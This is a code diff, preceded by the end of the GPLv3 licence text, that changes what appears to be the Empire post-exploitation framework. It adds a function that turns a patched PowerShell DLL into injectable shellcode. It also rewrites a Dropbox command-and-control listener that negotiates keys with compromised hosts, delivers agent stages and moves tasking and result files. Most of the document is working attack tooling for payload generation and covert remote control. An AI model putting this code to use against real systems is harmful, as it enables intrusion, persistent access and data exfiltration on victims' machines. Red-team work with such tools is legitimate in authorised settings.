Each time you convey a covered work, the recipient automatically
|
||||||
|
receives a license from the original licensors, to run, modify and
|
||||||
|
propagate that work, subject to this License. You are not responsible
|
||||||
|
for enforcing compliance by third parties with this License.
|
||||||
|
|
||||||
|
An "entity transaction" is a transaction transferring control of an
|
||||||
|
organization, or substantially all assets of one, or subdividing an
|
||||||
|
organization, or merging organizations. If propagation of a covered
|
||||||
|
work results from an entity transaction, each party to that
|
||||||
|
transaction who receives a copy of the work also receives whatever
|
||||||
|
licenses to the work the party's predecessor in interest had or could
|
||||||
|
give under the previous paragraph, plus a right to possession of the
|
||||||
|
Corresponding Source of the work from the predecessor in interest, if
|
||||||
|
the predecessor has it or can get it with reasonable efforts.
|
||||||
|
|
||||||
|
You may not impose any further restrictions on the exercise of the
|
||||||
|
rights granted or affirmed under this License. For example, you may
|
||||||
|
not impose a license fee, royalty, or other charge for exercise of
|
||||||
|
rights granted under this License, and you may not initiate litigation
|
||||||
|
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||||
|
any patent claim is infringed by making, using, selling, offering for
|
||||||
|
sale, or importing the Program or any portion of it.
|
||||||
|
|
||||||
|
11. Patents.
|
||||||
|
|
||||||
|
A "contributor" is a copyright holder who authorizes use under this
|
||||||
|
License of the Program or a work on which the Program is based. The
|
||||||
|
work thus licensed is called the contributor's "contributor version".
|
||||||
|
|
||||||
|
A contributor's "essential patent claims" are all patent claims
|
||||||
|
owned or controlled by the contributor, whether already acquired or
|
||||||
|
hereafter acquired, that would be infringed by some manner, permitted
|
||||||
|
by this License, of making, using, or selling its contributor version,
|
||||||
|
but do not include claims that would be infringed only as a
|
||||||
|
consequence of further modification of the contributor version. For
|
||||||
|
purposes of this definition, "control" includes the right to grant
|
||||||
|
patent sublicenses in a manner consistent with the requirements of
|
||||||
|
this License.
|
||||||
|
|
||||||
|
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||||
|
patent license under the contributor's essential patent claims, to
|
||||||
|
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||||
|
propagate the contents of its contributor version.
|
||||||
|
|
||||||
|
In the following three paragraphs, a "patent license" is any express
|
||||||
|
agreement or commitment, however denominated, not to enforce a patent
|
||||||
|
(such as an express permission to practice a patent or covenant not to
|
||||||
|
sue for patent infringement). To "grant" such a patent license to a
|
||||||
|
party means to make such an agreement or commitment not to enforce a
|
||||||
|
patent against the party.
|
||||||
|
|
||||||
|
If you convey a covered work, knowingly relying on a patent license,
|
||||||
|
and the Corresponding Source of the work is not available for anyone
|
||||||
|
to copy, free of charge and under the terms of this License, through a
|
||||||
|
publicly available network server or other readily accessible means,
|
||||||
|
then you must either (1) cause the Corresponding Source to be so
|
||||||
|
available, or (2) arrange to deprive yourself of the benefit of the
|
||||||
|
patent license for this particular work, or (3) arrange, in a manner
|
||||||
|
consistent with the requirements of this License, to extend the patent
|
||||||
|
license to downstream recipients. "Knowingly relying" means you have
|
||||||
|
actual knowledge that, but for the patent license, your conveying the
|
||||||
|
covered work in a country, or your recipient's use of the covered work
|
||||||
|
in a country, would infringe one or more identifiable patents in that
|
||||||
|
country that you have reason to believe are valid.
|
||||||
|
|
||||||
|
If, pursuant to or in connection with a single transaction or
|
||||||
|
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||||
|
covered work, and grant a patent license to some of the parties
|
||||||
|
receiving the covered work authorizing them to use, propagate, modify
|
||||||
|
or convey a specific copy of the covered work, then the patent license
|
||||||
|
you grant is automatically extended to all recipients of the covered
|
||||||
|
work and works based on it.
|
||||||
|
|
||||||
|
A patent license is "discriminatory" if it does not include within
|
||||||
|
the scope of its coverage, prohibits the exercise of, or is
|
||||||
|
conditioned on the non-exercise of one or more of the rights that are
|
||||||
|
specifically granted under this License. You may not convey a covered
|
||||||
|
work if you are a party to an arrangement with a third party that is
|
||||||
|
in the business of distributing software, under which you make payment
|
||||||
|
to the third party based on the extent of your activity of conveying
|
||||||
|
the work, and under which the third party grants, to any of the
|
||||||
|
parties who would receive the covered work from you, a discriminatory
|
||||||
|
patent license (a) in connection with copies of the covered work
|
||||||
|
conveyed by you (or copies made from those copies), or (b) primarily
|
||||||
|
for and in connection with specific products or compilations that
|
||||||
|
contain the covered work, unless you entered into that arrangement,
|
||||||
|
or that patent license was granted, prior to 28 March 2007.
|
||||||
|
|
||||||
|
Nothing in this License shall be construed as excluding or limiting
|
||||||
|
any implied license or other defenses to infringement that may
|
||||||
|
otherwise be available to you under applicable patent law.
|
||||||
|
|
||||||
|
12. No Surrender of Others' Freedom.
|
||||||
|
|
||||||
|
If conditions are imposed on you (whether by court order, agreement or
|
||||||
|
otherwise) that contradict the conditions of this License, they do not
|
||||||
|
excuse you from the conditions of this License. If you cannot convey a
|
||||||
|
covered work so as to satisfy simultaneously your obligations under this
|
||||||
|
License and any other pertinent obligations, then as a consequence you may
|
||||||
|
not convey it at all. For example, if you agree to terms that obligate you
|
||||||
|
to collect a royalty for further conveying from those to whom you convey
|
||||||
|
the Program, the only way you could satisfy both those terms and this
|
||||||
|
License would be to refrain entirely from conveying the Program.
|
||||||
|
|
||||||
|
13. Use with the GNU Affero General Public License.
|
||||||
|
|
||||||
|
Notwithstanding any other provision of this License, you have
|
||||||
|
permission to link or combine any covered work with a work licensed
|
||||||
|
under version 3 of the GNU Affero General Public License into a single
|
||||||
|
combined work, and to convey the resulting work. The terms of this
|
||||||
|
License will continue to apply to the part which is the covered work,
|
||||||
|
but the special requirements of the GNU Affero General Public License,
|
||||||
|
section 13, concerning interaction through a network will apply to the
|
||||||
|
combination as such.
|
||||||
|
|
||||||
|
14. Revised Versions of this License.
|
||||||
|
|
||||||
|
The Free Software Foundation may publish revised and/or new versions of
|
||||||
|
the GNU General Public License from time to time. Such new versions will
|
||||||
|
be similar in spirit to the present version, but may differ in detail to
|
||||||
|
address new problems or concerns.
|
||||||
|
|
||||||
|
Each version is given a distinguishing version number. If the
|
||||||
|
Program specifies that a certain numbered version of the GNU General
|
||||||
|
Public License "or any later version" applies to it, you have the
|
||||||
|
option of following the terms and conditions either of that numbered
|
||||||
|
version or of any later version published by the Free Software
|
||||||
|
Foundation. If the Program does not specify a version number of the
|
||||||
|
GNU General Public License, you may choose any version ever published
|
||||||
|
by the Free Software Foundation.
|
||||||
|
|
||||||
|
If the Program specifies that a proxy can decide which future
|
||||||
|
versions of the GNU General Public License can be used, that proxy's
|
||||||
|
public statement of acceptance of a version permanently authorizes you
|
||||||
|
to choose that version for the Program.
|
||||||
|
|
||||||
|
Later license versions may give you additional or different
|
||||||
|
permissions. However, no additional obligations are imposed on any
|
||||||
|
author or copyright holder as a result of your choosing to follow a
|
||||||
|
later version.
|
||||||
|
|
||||||
|
15. Disclaimer of Warranty.
|
||||||
|
|
||||||
|
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||||
|
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||||
|
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||||
|
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||||
|
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||||
|
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||||
|
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||||
|
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||||
|
|
||||||
|
16. Limitation of Liability.
|
||||||
|
|
||||||
|
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||||
|
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||||
|
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||||
|
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||||
|
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||||
|
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||||
|
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||||
|
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||||
|
SUCH DAMAGES.
|
||||||
|
|
||||||
|
17. Interpretation of Sections 15 and 16.
|
||||||
|
|
||||||
|
If the disclaimer of warranty and limitation of liability provided
|
||||||
|
above cannot be given local legal effect according to their terms,
|
||||||
|
reviewing courts shall apply local law that most closely approximates
|
||||||
|
an absolute waiver of all civil liability in connection with the
|
||||||
|
Program, unless a warranty or assumption of liability accompanies a
|
||||||
|
copy of the Program in return for a fee.
|
||||||
|
|
||||||
|
END OF TERMS AND CONDITIONS
|
||||||
|
|
||||||
|
How to Apply These Terms to Your New Programs
|
||||||
|
|
||||||
|
If you develop a new program, and you want it to be of the greatest
|
||||||
|
possible use to the public, the best way to achieve this is to make it
|
||||||
|
free software which everyone can redistribute and change under these terms.
|
||||||
|
|
||||||
|
To do so, attach the following notices to the program. It is safest
|
||||||
|
to attach them to the start of each source file to most effectively
|
||||||
|
state the exclusion of warranty; and each file should have at least
|
||||||
|
the "copyright" line and a pointer to where the full notice is found.
|
||||||
|
|
||||||
|
{one line to give the program's name and a brief idea of what it does.}
|
||||||
|
Copyright (C) {year} {name of author}
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
|
||||||
|
Also add information on how to contact you by electronic and paper mail.
|
||||||
|
|
||||||
|
If the program does terminal interaction, make it output a short
|
||||||
|
notice like this when it starts in an interactive mode:
|
||||||
|
|
||||||
|
{project} Copyright (C) {year} {fullname}
|
||||||
|
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||||
|
This is free software, and you are welcome to redistribute it
|
||||||
|
under certain conditions; type `show c' for details.
|
||||||
|
|
||||||
|
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||||
|
parts of the General Public License. Of course, your program's commands
|
||||||
|
might be different; for a GUI interface, you would use an "about box".
|
||||||
|
|
||||||
|
You should also get your employer (if you work as a programmer) or school,
|
||||||
|
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||||
|
For more information on this, and how to apply and follow the GNU GPL, see
|
||||||
|
<http://www.gnu.org/licenses/>.
|
||||||
|
|
||||||
|
The GNU General Public License does not permit incorporating your program
|
||||||
|
into proprietary programs. If your program is a subroutine library, you
|
||||||
|
may consider it more useful to permit linking proprietary applications with
|
||||||
|
the library. If this is what you want to do, use the GNU Lesser General
|
||||||
|
Public License instead of this License. But first, please read
|
||||||
|
<http://www.gnu.org/philosophy/why-not-lgpl.html>.
|
|
@ -25,6 +25,7 @@ import shutil
|
||||||
import zipfile
|
import zipfile
|
||||||
import subprocess
|
import subprocess
|
||||||
from itertools import izip, cycle
|
from itertools import izip, cycle
|
||||||
|
from ShellcodeRDI import *
|
||||||
import base64
|
import base64
|
||||||
|
|
||||||
|
|
||||||
|
@ -99,7 +100,7 @@ class Stagers:
|
||||||
activeListener = self.mainMenu.listeners.activeListeners[listenerName]
|
activeListener = self.mainMenu.listeners.activeListeners[listenerName]
|
||||||
|
|
||||||
launcherCode = self.mainMenu.listeners.loadedListeners[activeListener['moduleName']].generate_launcher(encode=encode, obfuscate=obfuscate, obfuscationCommand=obfuscationCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries, language=language, listenerName=listenerName, safeChecks=safeChecks)
|
launcherCode = self.mainMenu.listeners.loadedListeners[activeListener['moduleName']].generate_launcher(encode=encode, obfuscate=obfuscate, obfuscationCommand=obfuscationCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries, language=language, listenerName=listenerName, safeChecks=safeChecks)
|
||||||
|
|
||||||
if launcherCode:
|
if launcherCode:
|
||||||
return launcherCode
|
return launcherCode
|
||||||
|
|
||||||
|
@ -133,6 +134,39 @@ class Stagers:
|
||||||
else:
|
else:
|
||||||
print helpers.color("[!] Original .dll for arch %s does not exist!" % (arch))
|
print helpers.color("[!] Original .dll for arch %s does not exist!" % (arch))
|
||||||
|
|
||||||
|
def generate_shellcode(self, poshCode, arch):
|
||||||
|
"""
|
||||||
|
Generate shellcode using monogas's sRDI python module and the PowerPick reflective DLL
|
||||||
|
"""
|
||||||
|
if arch.lower() == 'x86':
|
||||||
|
origPath = "{}/data/misc/x86_slim.dll".format(self.mainMenu.installPath)
|
||||||
|
else:
|
||||||
|
origPath = "{}/data/misc/x64_slim.dll".format(self.mainMenu.installPath)
|
||||||
|
|
||||||
|
if os.path.isfile(origPath):
|
||||||
|
|
||||||
|
dllRaw = ''
|
||||||
|
with open(origPath, 'rb') as f:
|
||||||
|
dllRaw = f.read()
|
||||||
|
|
||||||
|
replacementCode = helpers.decode_base64(poshCode)
|
||||||
|
|
||||||
|
# patch the dll with the new PowerShell code
|
||||||
|
searchString = (("Invoke-Replace").encode("UTF-16"))[2:]
|
||||||
|
index = dllRaw.find(searchString)
|
||||||
|
dllPatched = dllRaw[:index]+replacementCode+dllRaw[(index+len(replacementCode)):]
|
||||||
|
|
||||||
|
flags = 0
|
||||||
|
flags |= 0x1
|
||||||
|
|
||||||
|
sc = ConvertToShellcode(dllPatched)
|
||||||
|
|
||||||
|
return sc
|
||||||
|
|
||||||
|
else:
|
||||||
|
print helpers.color("[!] Original .dll for arch {} does not exist!".format(arch))
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def generate_macho(self, launcherCode):
|
def generate_macho(self, launcherCode):
|
||||||
"""
|
"""
|
||||||
|
@ -231,9 +265,6 @@ class Stagers:
|
||||||
"""
|
"""
|
||||||
Generates an application. The embedded executable is a macho binary with the python interpreter.
|
Generates an application. The embedded executable is a macho binary with the python interpreter.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
MH_EXECUTE = 2
|
MH_EXECUTE = 2
|
||||||
|
|
||||||
if Arch == 'x64':
|
if Arch == 'x64':
|
||||||
|
@ -365,8 +396,8 @@ class Stagers:
|
||||||
f.close()
|
f.close()
|
||||||
os.remove("/tmp/launcher.zip")
|
os.remove("/tmp/launcher.zip")
|
||||||
return zipbundle
|
return zipbundle
|
||||||
|
|
||||||
|
|
||||||
else:
|
else:
|
||||||
print helpers.color("[!] Unable to patch application")
|
print helpers.color("[!] Unable to patch application")
|
||||||
|
|
||||||
|
@ -453,7 +484,7 @@ class Stagers:
|
||||||
raise
|
raise
|
||||||
else:
|
else:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
file = open(jarpath+'Run.java','w')
|
file = open(jarpath+'Run.java','w')
|
||||||
file.write(javacode)
|
file.write(javacode)
|
||||||
file.close()
|
file.close()
|
||||||
|
@ -469,7 +500,7 @@ class Stagers:
|
||||||
jarfile.close()
|
jarfile.close()
|
||||||
os.remove('Run.jar')
|
os.remove('Run.jar')
|
||||||
|
|
||||||
return jar
|
return jar
|
||||||
|
|
||||||
|
|
||||||
def generate_upload(self, file, path):
|
def generate_upload(self, file, path):
|
||||||
|
|
|
@ -3,6 +3,7 @@ import random
|
||||||
import os
|
import os
|
||||||
import time
|
import time
|
||||||
import copy
|
import copy
|
||||||
|
import json
|
||||||
import dropbox
|
import dropbox
|
||||||
# from dropbox.exceptions import ApiError, AuthError
|
# from dropbox.exceptions import ApiError, AuthError
|
||||||
# from dropbox.files import FileMetadata, FolderMetadata, CreateFolderError
|
# from dropbox.files import FileMetadata, FolderMetadata, CreateFolderError
|
||||||
|
@ -556,7 +557,7 @@ class Listener:
|
||||||
""" % (apiToken)
|
""" % (apiToken)
|
||||||
|
|
||||||
getTask = """
|
getTask = """
|
||||||
function script:Get-Task {
|
$script:GetTask = {
|
||||||
try {
|
try {
|
||||||
# build the web request object
|
# build the web request object
|
||||||
$wc = New-Object System.Net.WebClient
|
$wc = New-Object System.Net.WebClient
|
||||||
|
@ -594,7 +595,7 @@ class Listener:
|
||||||
""" % (taskingsFolder)
|
""" % (taskingsFolder)
|
||||||
|
|
||||||
sendMessage = """
|
sendMessage = """
|
||||||
function script:Send-Message {
|
$script:SendMessage = {
|
||||||
param($Packets)
|
param($Packets)
|
||||||
|
|
||||||
if($Packets) {
|
if($Packets) {
|
||||||
|
@ -655,7 +656,7 @@ class Listener:
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
""" % (resultsFolder)
|
""" % (resultsFolder)
|
||||||
|
|
||||||
return updateServers + getTask + sendMessage
|
return updateServers + getTask + sendMessage
|
||||||
|
|
||||||
elif language.lower() == 'python':
|
elif language.lower() == 'python':
|
||||||
|
@ -738,6 +739,7 @@ def send_message(packets=None):
|
||||||
|
|
||||||
return ('', '')
|
return ('', '')
|
||||||
"""
|
"""
|
||||||
|
|
||||||
sendMessage = sendMessage.replace('REPLACE_TASKSING_FOLDER', taskingsFolder)
|
sendMessage = sendMessage.replace('REPLACE_TASKSING_FOLDER', taskingsFolder)
|
||||||
sendMessage = sendMessage.replace('REPLACE_RESULTS_FOLDER', resultsFolder)
|
sendMessage = sendMessage.replace('REPLACE_RESULTS_FOLDER', resultsFolder)
|
||||||
sendMessage = sendMessage.replace('REPLACE_API_TOKEN', apiToken)
|
sendMessage = sendMessage.replace('REPLACE_API_TOKEN', apiToken)
|
||||||
|
@ -801,7 +803,14 @@ def send_message(packets=None):
|
||||||
try:
|
try:
|
||||||
md, res = dbx.files_download(path)
|
md, res = dbx.files_download(path)
|
||||||
except dropbox.exceptions.HttpError as err:
|
except dropbox.exceptions.HttpError as err:
|
||||||
dispatcher.send("[!] Error download data from '%s' : %s" % (path, err), sender="listeners/dropbox")
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[!] Error downloading data from '{}' : {}".format(path, err)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName))
|
||||||
|
|
||||||
return None
|
return None
|
||||||
return res.content
|
return res.content
|
||||||
|
|
||||||
|
@ -810,14 +819,26 @@ def send_message(packets=None):
|
||||||
try:
|
try:
|
||||||
dbx.files_upload(data, path)
|
dbx.files_upload(data, path)
|
||||||
except dropbox.exceptions.ApiError:
|
except dropbox.exceptions.ApiError:
|
||||||
dispatcher.send("[!] Error uploading data to '%s'" % (path), sender="listeners/dropbox")
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[!] Error uploading data to '{}'".format(path)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName))
|
||||||
|
|
||||||
def delete_file(dbx, path):
|
def delete_file(dbx, path):
|
||||||
# helper to delete a file at the given path
|
# helper to delete a file at the given path
|
||||||
try:
|
try:
|
||||||
dbx.files_delete(path)
|
dbx.files_delete(path)
|
||||||
except dropbox.exceptions.ApiError:
|
except dropbox.exceptions.ApiError:
|
||||||
dispatcher.send("[!] Error deleting data at '%s'" % (path), sender="listeners/dropbox")
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[!] Error deleting data at '{}'".format(path)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName))
|
||||||
|
|
||||||
|
|
||||||
# make a copy of the currently set listener options for later stager/agent generation
|
# make a copy of the currently set listener options for later stager/agent generation
|
||||||
|
@ -845,15 +866,33 @@ def send_message(packets=None):
|
||||||
try:
|
try:
|
||||||
dbx.files_create_folder(stagingFolder)
|
dbx.files_create_folder(stagingFolder)
|
||||||
except dropbox.exceptions.ApiError:
|
except dropbox.exceptions.ApiError:
|
||||||
dispatcher.send("[*] Dropbox folder '%s' already exists" % (stagingFolder), sender="listeners/dropbox")
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[*] Dropbox folder '{}' already exists".format(stagingFolder)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName))
|
||||||
try:
|
try:
|
||||||
dbx.files_create_folder(taskingsFolder)
|
dbx.files_create_folder(taskingsFolder)
|
||||||
except dropbox.exceptions.ApiError:
|
except dropbox.exceptions.ApiError:
|
||||||
dispatcher.send("[*] Dropbox folder '%s' already exists" % (taskingsFolder), sender="listeners/dropbox")
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[*] Dropbox folder '{}' already exists".format(taskingsFolder)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName))
|
||||||
try:
|
try:
|
||||||
dbx.files_create_folder(resultsFolder)
|
dbx.files_create_folder(resultsFolder)
|
||||||
except dropbox.exceptions.ApiError:
|
except dropbox.exceptions.ApiError:
|
||||||
dispatcher.send("[*] Dropbox folder '%s' already exists" % (resultsFolder), sender="listeners/dropbox")
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[*] Dropbox folder '{}' already exists".format(resultsFolder)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName))
|
||||||
|
|
||||||
# upload the stager.ps1 code
|
# upload the stager.ps1 code
|
||||||
stagerCodeps = self.generate_stager(listenerOptions=listenerOptions, language='powershell')
|
stagerCodeps = self.generate_stager(listenerOptions=listenerOptions, language='powershell')
|
||||||
|
@ -884,7 +923,13 @@ def send_message(packets=None):
|
||||||
try:
|
try:
|
||||||
md, res = dbx.files_download(fileName)
|
md, res = dbx.files_download(fileName)
|
||||||
except dropbox.exceptions.HttpError as err:
|
except dropbox.exceptions.HttpError as err:
|
||||||
dispatcher.send("[!] Error download data from '%s' : %s" % (fileName, err), sender="listeners/dropbox")
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[!] Error downloading data from '{}' : {}".format(fileName, err)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName))
|
||||||
continue
|
continue
|
||||||
stageData = res.content
|
stageData = res.content
|
||||||
|
|
||||||
|
@ -895,19 +940,43 @@ def send_message(packets=None):
|
||||||
try:
|
try:
|
||||||
dbx.files_delete(fileName)
|
dbx.files_delete(fileName)
|
||||||
except dropbox.exceptions.ApiError:
|
except dropbox.exceptions.ApiError:
|
||||||
dispatcher.send("[!] Error deleting data at '%s'" % (fileName), sender="listeners/dropbox")
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[!] Error deleting data at '{}'".format(fileName)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName))
|
||||||
try:
|
try:
|
||||||
stageName = "%s/%s_2.txt" % (stagingFolder, sessionID)
|
stageName = "%s/%s_2.txt" % (stagingFolder, sessionID)
|
||||||
dispatcher.send("[*] Uploading key negotiation part 2 to %s for %s" % (stageName, sessionID), sender='listeners/dbx')
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[*] Uploading key negotiation part 2 to {} for {}".format(stageName, sessionID)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName))
|
||||||
dbx.files_upload(results, stageName)
|
dbx.files_upload(results, stageName)
|
||||||
except dropbox.exceptions.ApiError:
|
except dropbox.exceptions.ApiError:
|
||||||
dispatcher.send("[!] Error uploading data to '%s'" % (stageName), sender="listeners/dropbox")
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[!] Error uploading data to '{}'".format(stageName)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName))
|
||||||
|
|
||||||
if stage == '3':
|
if stage == '3':
|
||||||
try:
|
try:
|
||||||
md, res = dbx.files_download(fileName)
|
md, res = dbx.files_download(fileName)
|
||||||
except dropbox.exceptions.HttpError as err:
|
except dropbox.exceptions.HttpError as err:
|
||||||
dispatcher.send("[!] Error download data from '%s' : %s" % (fileName, err), sender="listeners/dropbox")
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[!] Error downloading data from '{}' : {}".format(fileName, err)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName))
|
||||||
continue
|
continue
|
||||||
stageData = res.content
|
stageData = res.content
|
||||||
|
|
||||||
|
@ -917,18 +986,36 @@ def send_message(packets=None):
|
||||||
for (language, results) in dataResults:
|
for (language, results) in dataResults:
|
||||||
if results.startswith('STAGE2'):
|
if results.startswith('STAGE2'):
|
||||||
sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey']
|
sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey']
|
||||||
dispatcher.send("[*] Sending agent (stage 2) to %s through Dropbox" % (sessionID), sender='listeners/dbx')
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[*] Sending agent (stage 2) to {} through Dropbox".format(sessionID)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName))
|
||||||
|
|
||||||
try:
|
try:
|
||||||
dbx.files_delete(fileName)
|
dbx.files_delete(fileName)
|
||||||
except dropbox.exceptions.ApiError:
|
except dropbox.exceptions.ApiError:
|
||||||
dispatcher.send("[!] Error deleting data at '%s'" % (fileName), sender="listeners/dropbox")
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[!] Error deleting data at '{}'".format(fileName)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName))
|
||||||
|
|
||||||
try:
|
try:
|
||||||
fileName2 = fileName.replace("%s_3.txt" % (sessionID), "%s_2.txt" % (sessionID))
|
fileName2 = fileName.replace("%s_3.txt" % (sessionID), "%s_2.txt" % (sessionID))
|
||||||
dbx.files_delete(fileName2)
|
dbx.files_delete(fileName2)
|
||||||
except dropbox.exceptions.ApiError:
|
except dropbox.exceptions.ApiError:
|
||||||
dispatcher.send("[!] Error deleting data at '%s'" % (fileName2), sender="listeners/dropbox")
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[!] Error deleting data at '{}'".format(fileName2)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName))
|
||||||
|
|
||||||
# step 6 of negotiation -> server sends patched agent.ps1/agent.py
|
# step 6 of negotiation -> server sends patched agent.ps1/agent.py
|
||||||
agentCode = self.generate_agent(language=language, listenerOptions=listenerOptions)
|
agentCode = self.generate_agent(language=language, listenerOptions=listenerOptions)
|
||||||
|
@ -936,10 +1023,22 @@ def send_message(packets=None):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
stageName = "%s/%s_4.txt" % (stagingFolder, sessionID)
|
stageName = "%s/%s_4.txt" % (stagingFolder, sessionID)
|
||||||
dispatcher.send("[*] Uploading key negotiation part 4 (agent) to %s for %s" % (stageName, sessionID), sender='listeners/dbx')
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[*] Uploading key negotiation part 4 (agent) to {} for {}".format(stageName, sessionID)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName))
|
||||||
dbx.files_upload(returnResults, stageName)
|
dbx.files_upload(returnResults, stageName)
|
||||||
except dropbox.exceptions.ApiError:
|
except dropbox.exceptions.ApiError:
|
||||||
dispatcher.send("[!] Error uploading data to '%s'" % (stageName), sender="listeners/dropbox")
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[!] Error uploading data to '{}'".format(stageName)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName))
|
||||||
|
|
||||||
|
|
||||||
# get any taskings applicable for agents linked to this listener
|
